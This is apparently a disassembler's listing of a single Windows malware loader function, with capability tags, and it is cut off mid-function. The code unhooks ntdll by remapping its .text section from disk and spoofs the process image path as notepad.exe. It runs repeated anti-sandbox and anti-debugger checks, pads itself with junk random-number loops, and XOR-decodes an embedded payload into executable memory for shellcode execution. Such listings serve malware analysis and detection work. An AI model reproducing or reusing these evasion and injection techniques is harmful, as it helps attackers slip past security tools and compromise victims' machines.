Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x868
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x810], ecx
mov qword [rbp + 0x818], rdx
call fcn.140002d70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
jne 0x14000173a
mov ecx, 0x25b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x25b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x25b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x7d4], 0
jmp 0x140001617
mov dword [rbp + 0x7d0], 0
jmp 0x140001603
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x750]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x748]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x46
jle 0x140001552
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x21
jle 0x140001543
mov dword [rbp + 0x7d4], 0
jmp 0x1400016d0
mov dword [rbp + 0x7d0], 0
jmp 0x1400016bc
mov eax, dword [rbp + 0x7d4]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x750]
add rdx, rax
mov eax, dword [rbp + 0x7d0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d4]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x748]
add rdx, rax
mov eax, dword [rbp + 0x7d0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d4]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x740]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x46
jle 0x14000163f
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x21
jle 0x140001633
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
je 0x140001cd5
pxor xmm0, xmm0
movss dword [rbp + 0x7c8], xmm0
mov dword [rbp + 0x7cc], 0
jmp 0x1400017d9
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7cc]
movsd xmm0, qword [0x1400065a8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400065b0]
movd xmm0, eax
call fcn.140003d60
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7cc]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065a8]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7c8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7c8], xmm0
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x29a
jle 0x140001760
movss xmm1, dword [rbp + 0x7c8]
movss xmm0, dword [0x1400065b4]
mulss xmm0, xmm1
movss dword [rbp + 0x7c8], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x758]
mov r10, qword [rbp + 0x7d8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x7c4], 0xffffffff
mov ecx, 0x1ca0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
add dword [rbp + 0x7c4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
movsd xmm1, qword [0x1400065b8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x730]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7c4], 0x392
jle 0x14000185e
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x738]
add rax, rdx
mov qword [rbp + 0x708], rax
mov word [rbp + 0x7c2], 0
jmp 0x140001cbd
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x7b8], 1
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x704], 0x149
jmp 0x140001a72
mov edx, dword [rbp + 0x7bc]
mov eax, dword [rbp + 0x7b8]
add eax, edx
mov dword [rbp + 0x6e4], eax
add dword [rbp + 0x7b4], 1
mov eax, dword [rbp + 0x7b8]
mov dword [rbp + 0x7bc], eax
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x7b8], eax
mov eax, dword [rbp + 0x7b4]
cmp eax, dword [rbp + 0x704]
jl 0x140001a3f
mov rax, qword [rbp + 0x708]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x708]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7c2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cac
mov dword [rbp + 0x558], 0
mov dword [rbp + 0x6f4], 0
mov dword [rbp + 0x7a8], 0
mov ecx, 0x1a3c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x7b0], 0
jmp 0x140001bb3
mov dword [rbp + 0x7ac], 0
jmp 0x140001b9f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
imul rcx, rdx, 0x5c
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ac]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x7b0]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x6e8]
add rdx, rax
mov eax, dword [rbp + 0x7ac]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001b98
add dword [rbp + 0x7a8], 1
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x16
jle 0x140001b24
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x48
jle 0x140001b18
cmp dword [rbp + 0x7a8], 0x347
jne 0x140001bd6
mov dword [rbp + 0x6f4], 1
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x558]
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x738]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7c2]
add eax, 1
mov word [rbp + 0x7c2], ax
mov rax, qword [rbp + 0x708]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7c2], ax
jb 0x140001a15
mov dword [rbp + 0x55c], 0
mov rax, qword [rbp + 0x768]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6d0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x6cc], 0
mov ecx, 0x894
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x7a4], 0
jmp 0x140001e77
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x6cc], edx
mov edx, dword [rbp + 0x6cc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x6cc], eax
cmp dword [rbp + 0x6cc], 0x168
jle 0x140001dfd
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001e70
cmp dword [rbp + 0x6cc], 0
jns 0x140001e2a
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001e70
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6cc]
movsd xmm0, qword [0x1400065c0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x224
jle 0x140001d96
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x6bc], 0x356
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6ac], eax
mov eax, dword [rbp + 0x6bc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6a8], eax
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x6ac]
cmp eax, 0x324
jbe 0x140002ca0
mov qword [rbp + 0x6a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x698]
mov r9d, 0x3000
mov r8d, 0x341
mov edx, 0
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140002ca0
mov dword [rbp + 0x554], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x554]
mov r8, qword [rbp + 0x690]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x554]
cmp eax, 1
je 0x140002ca0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov ecx, 0
call rax
mov dword [rbp + 0x684], eax
cmp dword [rbp + 0x684], 0xffffffff
je 0x140002ca0
mov qword [rbp + 0x678], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2ec4680
mov ecx, 0
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002ca0
mov rax, qword [rbp + 0x678]
mov edx, 0x2ec4680
mov rcx, rax
call fcn.140004aa0
mov rax, qword [rbp + 0x678]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x550], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x550]
mov r8, qword [rbp + 0x668]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x550]
cmp eax, 1
je 0x140002ca0
mov qword [rbp + 0x660], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xf07680
mov ecx, 0
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140002ca0
mov rax, qword [rbp + 0x660]
mov edx, 0xf07680
mov rcx, rax
call fcn.140004aa0
mov rax, qword [rbp + 0x660]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x764
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x764
jne 0x140002ca0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x654], 0x210
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
call rax
mov dword [rbp + 0x644], eax
mov eax, dword [rbp + 0x654]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x648]
call rax
mov dword [rbp + 0x640], eax
mov eax, dword [rbp + 0x640]
sub eax, dword [rbp + 0x644]
cmp eax, 0x1de
jbe 0x140002ca0
mov dword [rbp + 0x54c], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x54c]
mov r8, qword [rbp + 0x638]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x54c]
cmp eax, 1
je 0x140002ca0
lea rax, [rbp + 0xf0]
lea rdx, [0x140006148]
mov ecx, 0x8b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x634], 0
mov dword [rbp + 0x798], 0
mov ecx, 0x3de0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7a0], 0
jmp 0x140002440
mov dword [rbp + 0x79c], 0
jmp 0x14000242c
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7a0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x628]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x79c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x7a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x79c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002425
add dword [rbp + 0x798], 1
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x47
jle 0x140002393
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x36
jle 0x140002384
cmp dword [rbp + 0x798], 0x7bc
jne 0x140002463
mov dword [rbp + 0x634], 1
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov ecx, 0x610
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov ecx, 0x610
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov ecx, 0x610
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov ecx, 0x610
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x790], 0x183
mov dword [rbp + 0x794], 0
jmp 0x140002583
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x794]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x618]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x794]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x610]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0x183
jle 0x1400024f0
mov dword [rbp + 0x794], 0
jmp 0x140002622
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
mov edx, dword [rbp + 0x794]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, dword [rbp + 0x794]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x600]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x790], 1
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0x183
jle 0x1400025a2
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x620]
mov r8d, 0
mov edx, 0x458
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov r9, qword [rbp + 0x5f8]
mov r8d, 0x458
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0x458
mov rcx, rax
call r9
mov dword [rbp + 0x788], 0
mov dword [rbp + 0x784], 0
movabs rax, 0xd9a23c9a0604eb1c
movabs rdx, 0xbfebbbcd48d20edc
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6011fb98b7b5aebc
movabs rdx, 0x18d6b890d434f3b4
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x5cc0f3566738976e
movabs rdx, 0x577d6f9d5079f8d6
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xcb2e4dd4706cdef6
movabs rdx, 0x96a7738930571b90
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xec36bace3596a773
movabs rdx, 0x6c8be3facad23c
mov qword [rbp - 3], rax
mov qword [rbp + 5], rdx
movabs rax, 0xfce1529d9ed32b35
movabs rdx, 0x2c4a9602d0a9135f
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x800749efb4248cb0
movabs rdx, 0xdb3c585ed53d6013
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x639af43c568caa08
movabs rdx, 0x745136f7d75a9b4f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xd89be8fc0b13276
movabs rdx, 0xb056766bc175b414
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x1edebdaa73ae11ff
movabs rdx, 0x3b3281faac018758
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x222d1c27872d789
movabs rdx, 0x37b2eebe6c62d7c7
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x31b4f09eb2d737b2
movabs rdx, 0x3d559ad54d58e8
mov qword [rbp + 0xde], rax
mov qword [rbp + 0xe6], rdx
mov dword [rbp + 0x78c], 0
jmp 0x140002b43
mov eax, dword [rbp + 0x78c]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x788]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x78c]
cdqe
mov byte [rbp + rax + 0x10], dl
cmp dword [rbp + 0x788], 0x4b
jne 0x140002b35
mov ecx, 0xf50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b8], rax
mov ecx, 0xf50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov ecx, 0xf50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x780], 0
jmp 0x140002a12
mov dword [rbp + 0x77c], 0
jmp 0x1400029fe
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
